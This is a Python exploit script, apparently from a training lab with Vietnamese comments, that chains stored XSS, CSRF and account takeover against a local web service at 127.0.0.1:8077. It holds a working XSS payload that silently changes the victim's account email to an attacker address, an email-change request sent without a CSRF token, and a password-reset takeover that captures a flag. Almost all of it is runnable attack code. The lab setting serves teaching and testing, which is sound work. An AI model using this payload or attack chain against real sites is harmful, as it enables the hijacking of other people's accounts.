#!/usr/bin/env python3
"""
Exploit lab 10.2 - chuoi Stored XSS -> CSRF -> Account Takeover.

Hai mat xich chinh chung minh truc tiep (khong can trinh duyet):

  1. Stored XSS: attacker dang binh luan chua <script>; GET /feed tra ve
     HTML co script NGUYEN VEN (khong escape) -> se chay trong trinh duyet
     cua bat ky ai xem feed, trong do co session nan nhan.
  2. CSRF: request doi email (chi kem cookie session, khong CSRF token) van
     thanh cong. Day dung la thu ma script XSS lam trong session nan nhan.
  3. ATO: sau khi email doi sang attacker, attacker /account/forgot ->
     reset token gui ve email attacker -> /account/reset -> chiem tai khoan.
"""
import sys
import requests

BASE = "http://127.0.0.1:8077"
ATTACKER_EMAIL = "attacker@evil.local"

# Script ma attacker nhung qua binh luan; khi nan nhan xem /feed, no se:
#   doi email tai khoan nan nhan sang email cua attacker (CSRF tu trong XSS).
XSS_PAYLOAD = ("<script>fetch('/account/email',{method:'POST',"
               "headers:{'Content-Type':'application/json'},"
               "credentials:'include',"
               "body:JSON.stringify({email:'%s'})});</script>" % ATTACKER_EMAIL)


def main():
    print("[*] Mat xich 1: Stored XSS - dang binh luan chua <script>")
    requests.post("%s/comment" % BASE,
                  json={"author": "attacker", "text": XSS_PAYLOAD})
    html = requests.get("%s/feed" % BASE).text
    stored_raw = XSS_PAYLOAD in html
    print("    payload: %s" % XSS_PAYLOAD)
    print("    /feed tra ve script NGUYEN VEN (khong escape): %s" % stored_raw)
    snippet = [l for l in html.splitlines() if "<script>" in l]
    if snippet:
        print("    trich HTML: %s" % snippet[0].strip())

    print("\n[*] Mat xich 2: CSRF - gia lap script XSS chay trong session nan nhan")
    victim = requests.Session()
    victim.post("%s/login" % BASE,
                json={"username": "admin", "password": "OrigPassw0rd"})
    before = requests.post("%s/account/forgot" % BASE,
                           json={"username": "admin"}).json()["sent_to"]
    print("    email tai khoan admin TRUOC: %s" % before)
    # Request doi email: CHI co cookie session, KHONG co CSRF token.
    r = victim.post("%s/account/email" % BASE, json={"email": ATTACKER_EMAIL})
    print("    POST /account/email (khong CSRF token) -> HTTP %d %s"
          % (r.status_code, r.json()))

    print("\n[*] Mat xich 3: Account Takeover - reset mat khau qua email attacker")
    f = requests.post("%s/account/forgot" % BASE,
                      json={"username": "admin"}).json()
    print("    /account/forgot -> reset token gui toi: %s" % f["sent_to"])
    token = f["reset_token"]
    stolen_to_attacker = (f["sent_to"] == ATTACKER_EMAIL)
    r = requests.post("%s/account/reset" % BASE,
                      json={"token": token, "new_password": "PwnedByAttacker!"})
    res = r.json()
    print("    /account/reset -> %s" % res)
    flag = res.get("flag", "")

    print("\n[+] Stored XSS served raw : %s" % stored_raw)
    print("[+] Email chiem qua CSRF  : %s" % stolen_to_attacker)
    print("[+] Account takeover flag : %s" % flag)
    ok = stored_raw and stolen_to_attacker and flag.startswith("FLAG{")
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()
